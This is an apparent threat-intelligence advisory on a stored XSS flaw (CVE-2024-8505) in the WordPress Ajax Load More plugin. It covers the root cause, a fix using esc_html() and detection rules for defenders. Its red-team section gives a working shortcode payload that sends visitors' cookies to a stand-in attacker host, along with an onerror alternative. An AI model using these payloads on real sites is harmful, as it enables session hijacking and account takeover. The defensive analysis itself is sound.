CVE-2024-8505

Executive Summary

CVE-2024-8505 is a Stored Cross-Site Scripting (XSS) vulnerability in the WordPress Infinite Scroll – Ajax Load More plugin (versions up to and including 7.1.2). The flaw resides in the button_label parameter, which is insufficiently sanitized and escaped. Authenticated attackers with Contributor-level access or higher can inject arbitrary web scripts that execute when any user visits a page containing the malicious payload. This vulnerability is part of the WordPress ecosystem and affects sites using the Ajax Load More plugin for infinite scroll functionality.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. The plugin is not an NPM, PyPI, Go, or Ruby package, but it is a critical component of the WordPress supply chain. Users should verify the integrity of their plugin files and ensure they are sourced from trusted repositories. The lack of a patch from the vendor increases the risk of supply chain compromise through malicious plugin updates or third-party modifications.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Contributor-level access)
• User Interaction: None
• Scope: Changed (vulnerability impacts resources beyond the vulnerable component)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium. While the CVSS score is moderate, the ability for authenticated users with low privileges to inject persistent scripts that execute in the context of other users (including administrators) elevates the risk. The lack of a patch and the widespread use of the plugin make this a significant threat to WordPress sites.

Deep Dive & Mechanics

The vulnerability is a classic Stored XSS in the WordPress ecosystem. The button_label parameter, used to customize the text of the "Load More" button, is not properly sanitized before being stored in the database and later rendered on the frontend. When an attacker with Contributor-level access or higher modifies the button label to include malicious JavaScript, the script is stored and executed in the browser of any user viewing the page.

Attack Flow:

1. An attacker logs in with Contributor-level credentials.
2. The attacker creates or edits a post/page and uses the Ajax Load More shortcode.
3. The attacker sets the button_label parameter to a malicious payload, e.g., <script>alert('XSS')</script>.
4. The plugin stores the payload in the WordPress database without proper sanitization.
5. When any user (including administrators) visits the page, the payload executes in their browser.

Root Cause: Insufficient input sanitization and output escaping in the button_label parameter. The plugin fails to use WordPress's built-in escaping functions like esc_html() or wp_kses_post() before rendering the label.

Vulnerable vs. Patched Code

Vulnerable Code (<= 7.1.2):

// In ajax-load-more.php or similar
$button_label = get_option('alm_settings_button_label');
echo '<button class="alm-load-more-btn" type="button">' . $button_label . '</button>';

The $button_label is output directly without escaping, allowing XSS.

Patched Code (Hypothetical):

$button_label = get_option('alm_settings_button_label');
echo '<button class="alm-load-more-btn" type="button">' . esc_html($button_label) . '</button>';

The esc_html() function converts special characters to HTML entities, preventing script execution.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A WordPress site with Ajax Load More plugin <= 7.1.2.
• A user account with Contributor-level access or higher.

Exploitation Steps:

1. Log in to WordPress as a Contributor.
2. Create a new post or edit an existing one.
3. Add the Ajax Load More shortcode with a malicious button_label:

   [ajax_load_more button_label="<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>"]
   

4. Publish or update the post.
5. Any user visiting the post will have their cookies exfiltrated to the attacker's server.

Alternative Payload:

<img src=x onerror="alert('XSS')">

Blue Team

Detection:

• Monitor for posts/pages containing suspicious shortcode parameters, especially button_label with script tags or event handlers.
• Use Web Application Firewall (WAF) rules to block requests with XSS patterns in shortcode parameters.
• Review user activity logs for Contributor-level users modifying Ajax Load More shortcodes.

Prevention:

• Disable the plugin until a patch is available.
• Restrict Contributor-level access to trusted users only.
• Implement Content Security Policy (CSP) headers to mitigate XSS impact.

Indicators of Compromise (IOCs)

• File Indicators:

  • Modified wp-content/plugins/ajax-load-more/ files with suspicious shortcode parameters.
  • Database entries in wp_postmeta or wp_options containing XSS payloads in button_label.

• Network Indicators:

  • Outbound requests to attacker-controlled domains from WordPress admin pages.
  • HTTP requests containing <script> tags in button_label parameter.

• Log Indicators:

  • WordPress debug logs showing PHP warnings related to ajax-load-more.
  • Web server logs with requests to wp-admin/post.php containing XSS payloads.

Detection Engineering

YARA Rule

rule CVE_2024_8505_Ajax_Load_More_XSS {
    meta:
        description = "Detects stored XSS payloads in Ajax Load More button_label parameter"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-8505"
    strings:
        $xss1 = /button_label=["'][^"']*<script[^>]*>.*?<\/script>/is
        $xss2 = /button_label=["'][^"']*on\w+=/is
        $xss3 = /button_label=["'][^"']*javascript:/is
    condition:
        any of them
}

Sigma Rule

title: CVE-2024-8505 - Stored XSS in Ajax Load More Plugin
id: 8f3a2b1c-4d5e-6f7a-8b9c-0d1e2f3a4b5c
status: experimental
description: Detects stored XSS attempts via button_label parameter in Ajax Load More plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-query|contains: "button_label="
        cs-uri-query|re: "(<script|onerror|onload|javascript:)"
    condition: selection
falsepositives:
    - Legitimate use of HTML in button labels (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-8505 - Stored XSS in Ajax Load More button_label"; flow:to_server,established; content:"button_label="; http_uri; pcre:"/(<script|on\w+=|javascript:)/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released by the vendor.
2. Restrict user roles – Remove Contributor-level access from untrusted users.
3. Implement WAF rules to block XSS payloads in button_label parameter.

Long-term Fix:

• Apply the vendor's patch when available (currently UNKNOWN).
• Upgrade to a patched version (none available as of this report).
• Consider replacing the plugin with an alternative that is actively maintained.

Workaround:

• Manually patch the plugin by adding esc_html() to the button_label output in the plugin's PHP files (not recommended for production without testing).

Valters IT
DevSecOps & Cyber Threat Intelligence